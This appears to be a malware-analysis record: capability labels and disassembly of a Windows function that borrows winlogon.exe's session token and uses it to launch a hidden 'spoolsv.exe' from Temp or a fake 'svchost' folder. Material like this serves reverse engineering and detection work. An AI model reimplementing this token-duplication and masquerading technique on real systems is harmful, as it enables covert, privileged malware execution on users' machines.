Function at 0x14000cdc0
Capabilities:
Create process on windows
Enumerate processes
Enumerate processes on remote desktop session host
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x478]
sub rsp, 0x570
mov rax, qword [0x1402e8ed8]
xor rax, rsp
mov qword [rbp + 0x460], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, 0x104
lea r8, str.C:WinTemp_spoolsv.exe___hid_u
mov r9d, eax
lea rcx, [rbp + 0x250]
mov edx, esi
mov edi, eax
call fcn.1400011e0
xor r9d, r9d
lea rax, [rbp + 0x140]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x23]
call qword [sym.imp.SHFOLDER.dll_SHGetFolderPathA]
xor ebx, ebx
test eax, eax
js 0x14000ce7f
lea rdx, str._svchost_spoolsv.exe___hid_u
lea rcx, [rbp + 0x140]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
mov r9d, edi
lea r8, [rbp + 0x140]
mov edx, esi
lea rcx, [rbp + 0x250]
call fcn.1400011e0
mov ecx, ebx
mov al, byte [rbp + rcx + 0x250]
mov byte [rbp + rcx + 0x140], al
inc rcx
test al, al
jne 0x14000ce6a
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
xor edx, edx
lea r9, [rsp + 0x78]
mov esi, eax
mov edi, eax
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsA]
test eax, eax
je 0x14000ced6
mov rcx, qword [rsp + 0x78]
cmp dword [rsp + 0x60], ebx
jbe 0x14000ced0
mov edx, dword [rsp + 0x60]
mov rax, rcx
cmp dword [rax + 0x10], ebx
jne 0x14000cec6
cmp dword [rax], esi
cmovne edi, dword [rax]
add rax, 0x18
sub rdx, 1
jne 0x14000cebc
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
cmp edi, 0xffffffff
jne 0x14000cee2
xor eax, eax
jmp 0x14000d091
xor edx, edx
mov dword [rbp + 0x10], 0x130
mov r14d, ebx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x10]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x14000cf4e
lea rdx, [rbp + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x14000cf4e
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x3c]
call fcn.1401d6ab0
test eax, eax
jne 0x14000cf0c
mov ecx, dword [rbp + 0x18]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], ebx
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp dword [rsp + 0x60], edi
jne 0x14000cf0c
mov r14d, dword [rbp + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x2000000
mov r8d, r14d
mov ecx, esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x68]
mov edx, 2
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000cf91
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000cedb
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x14000cfcd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
jmp 0x14000cf86
mov esi, 0x68
lea rcx, [rbp - 0x60]
mov r8d, esi
xor edx, edx
call fcn.1401cbcd0
mov rcx, qword [rsp + 0x70]
lea r8, [rbp + 0x250]
xor eax, eax
mov dword [rbp - 0x60], esi
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
lea rax, str.winsta0default
mov dword [rbp - 0x24], 1
mov qword [rbp - 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x80]
mov word [rbp - 0x20], bx
mov qword [rsp + 0x50], rax
xor edx, edx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x8000420
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x14000d06b
xor r9d, r9d
lea r8, str.Failed_process_creation__d_n
mov edx, 0xff
lea rcx, [rbp + 0x360]
call fcn.1400011e0
jmp 0x14000d06f
mov rbx, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.1401c9740
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret